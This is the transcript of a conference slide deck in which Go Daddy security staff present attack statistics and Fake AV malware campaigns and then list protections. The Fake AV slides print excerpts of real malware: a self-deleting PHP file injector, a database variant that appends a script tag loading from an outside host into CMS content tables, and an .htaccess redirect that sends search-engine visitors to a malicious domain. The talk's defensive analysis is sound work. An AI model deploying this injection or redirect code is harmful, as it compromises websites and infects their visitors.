Ganesh Devarajan & Todd Redfoot KEEPING UP WITH THE WEB APPLICATION SECURITY.
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Transcript Ganesh Devarajan & Todd Redfoot KEEPING UP WITH THE WEB APPLICATION SECURITY.
Ganesh Devarajan & Todd Redfoot
KEEPING UP WITH THE WEB
APPLICATION SECURITY
Introduction
Todd Redfoot
Chief Information Security Officer
Ganesh Devarajan
Sr. Security Architect
The Background
(What does Go Daddy do?)
What does Go Daddy do?
9.4 Million Customers
48 Million Domains Under Management
Over 5 million Active Hosting Accounts
1/3 of all DNS queries run through our servers
We register, renew or transfer more than
one domain name every second
What does Go Daddy do?
40+ Security Professionals in Team
24 x 7 Operations Center
Research
Engineering
Forensics
Customer Security Advisors
Penetration Testing
User Administration
Development
The Numbers
(What does Go Daddy see?)
What do we see?
Monitor over 100,000 events per second
8.6 Billion/Day
DDoS - ~900 Attacks per day / 6K per week
Feb 2011 - Largest attack @ 21M pps
Last Week – 40G Attack
Brute Force – 3.5M per hour
What do we see?
“Other” Attacks :
425K – Invalid Directory Traversal
90K – XSS Prevention
115K – SQL Injection Prevention
… all in a 24 hour period…
Current Trends
SSH Brute Forcers
JP CA BR
FR
TW
2% 2%
AR 3% 2% 2%
BG 4%
5%
KR
6%
US
54%
CN
20%
SSH Brute Forcers
Englewood, Colorado
140 Million attempts
MS-SQL Brute Forcers
US
65%
CN
24%
TR
5%
CA
KR
IE VN RU TH 1% - 2%
0% 0% 0% 1%
2%
MS-SQL Brute Forcers
Orlando, FL
348 Million attempts
My-SQL Brute Forcers
US
78%
CN
12%
CA
4%
SE
PH MY FR 2%
JP
IN
KR
1% 1% 2%
0%
0%
0%
My-SQL Brute Forcers
FTP Brute Forcers
CN
66%
US
26%
HK
2%
TW
DE RS KR
IE
1%
BR
1%
0% 0%
2% CA
0%
2%
FTP Brute Forcers
XingPing, CN
12 Million attempts
Brute Forcers - All
US
60%
CN
27%
TR
KR 4%
CA
BG - 2% 2%
TH
AR
TW
1% 1%
1%
1%
1%
Brute Forcers - US
Garden City, NY
75.7 Million attempts
Brute Forcers - CN
Datong, CN
22.5 Million attempts
Brute Forcinator
SQL Injection
CN
28%
BG
9%
US
41%
AU JP
2% 2%
FR
2%
CZ
3%
NL
4%
ID
4%
UK
5%
SQL Injection
Seattle, WA
1.3 Million attempts
Backdoor Shells
US
87%
ID
4%
NL BR DE CA CN UK
AL 1%
1% 1% 1% 1% 2%
0%
NG
2%
Backdoor Shells
Phone Company (91%)
Mountain View, CA
PHP Attacks
US
66%
KR
8%
FR
6%
NL CA BR
2% 2% 3%
UK
3%
LU
3%
RU
DE 4%
3%
PHP Attacks
Berlin, Germany
1.9 Million attempts
PHP Attacks
Montreal, CA
1.1 Million attempts
Botnet
KR
6%
UK
7%
US
51%
PL
6%
FR
6%
AU
3%
NL
4%
RU
5%
CA
6%
DE
6%
Botnet
Botnet
Source - https://zeustracker.abuse.ch/
Botnet
Source - http://www.shadowserver.org/wiki/pmwiki.php/Stats/DroneMaps
Phishing
The Good, Bad and Ugly?
The Bad – Most Events
The Ugly – Security Events & DDoS
New Trends
Recent Changes
“Hacktivists”
Lulzsec = Twitter
ComodoHacker = Pastebin
Phishing -> Spear Phishing
Targeted & Coordinated Attacks
RSA / Lockheed Martin Connection
What’s in the News?
More of the same…
More Client-side Exploits
Browser exploits
Adobe exploits
Web Server Compromises
Brute Force Attacks
Leveraging Web Application Vulnerabilities
Config files with passwords
Fake AV
Scareware
Reports fake viruses to users
Asks for fee to remove the threat
Paying does nothing but give them your CC#
$10 Million in Revenue last year
Fake AV Analysis
Fake AV – Attack Breakdown
Servers with Compromised Accounts
(Zeus/Phishing/etc)
Compromised Attack Server(s)
FTP/SSH Upload of Attack Shell/Script
Make HTTP calls to infection script and site is infected
Casual Web User Visits Infected Site
<script>http://intermediary.com/ll.php</script>
Registrant:
Hilary Kneber [email protected]
7569468 fax: 7569468
29/2 Sun street. Montey 29
Virginia NA 3947
End Users
GET http://intermediary.com/ll.php
Disposable Domain Name
<html>Holy Crap! Infected! Click Here to clean</html>
$$$$$$
Fake AV Basterds
Fake AV – Sample Shell
$z=$_SERVER["DOCUMENT_ROOT"];
$encoded='<'.'?php /**/ [base64 encoded string]"));?'.'>';
@unlink($_SERVER['SCRIPT_FILENAME']);
$val=$z;
$totalinjected=0;
echo "Working with $val\n!!STARTING!!";
ob_flush();
$start_time=microtime(true);
if ($val!="")do_folder($val);
$end_time=microtime(true)-$start_time;
echo "|Injected| $totalinjected files in $end_time seconds\n";
Fake AV – DB Variant
…
$insert='<script src="http://welcometotheglobalisorg.com/js.php?kk=26"></script>';
...
$link=mysql_connect($host,$user,$pass);
if (!$link) {
die('Could not connect: ' . mysql_error());
}else{
echo 'Connected successfully'."\n";
$db_list = mysql_list_dbs($link);
$bases = array();
while ($row = mysql_fetch_object($db_list)) {
$bases[]=$row->Database;
}
…
//wordpress
if (last_is($table,"_posts")){ $query="UPDATE `".$bases[$i]."`.`$table` SET `post_content` = concat(`post_content`,'$insert')"; }
//joomla
if (last_is($table,"_content")){ $query="UPDATE `".$bases[$i]."`.`$table` SET `introtext` = concat(`introtext`,'$insert')“; }
//drupal
if (last_is($table,"node_revisions")){ $query="UPDATE `".$bases[$i]."`.`$table` SET `body` = concat(`body`,'$insert'), format=2“; }
if (last_is($table,"_post")){ $query="UPDATE `".$bases[$i]."`.`$table` SET `title` = concat(`title`,'$insert')“; }
Fake AV - Search Redirect
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=945 [R,L]
</IfModule>
addhandler x-httpd-php-cgi .php4
addhandler x-httpd-php5-cgi .php5
addhandler x-httpd-php5-cgi .php
Custom Monitoring
UDP Flooder
How to Protect?
Website Vulnerability Scanners
Website Protection -Site Scanner ($48/Year)
Beyond Security($99.95/Year)
McAfee SecureTM (~$2100/Year)
WhiteHat Security®
IBM AppScan®
Cenzic®
HP WebInspect®
Web Based Malware Detection
Virtual machine Honey pots
Monitor Creation of new Processes, File system or
Registry entries, etc.
Browser Emulation
Reputation Service
Internet’s black list
Signature Based Detection/Prevention
Intrusion Detection System/Intrusion Prevention
System
Anti-Virus
New Methodologies
Questions?
Thank You
Ganesh Devarajan
[email protected]
Todd Redfoot
[email protected]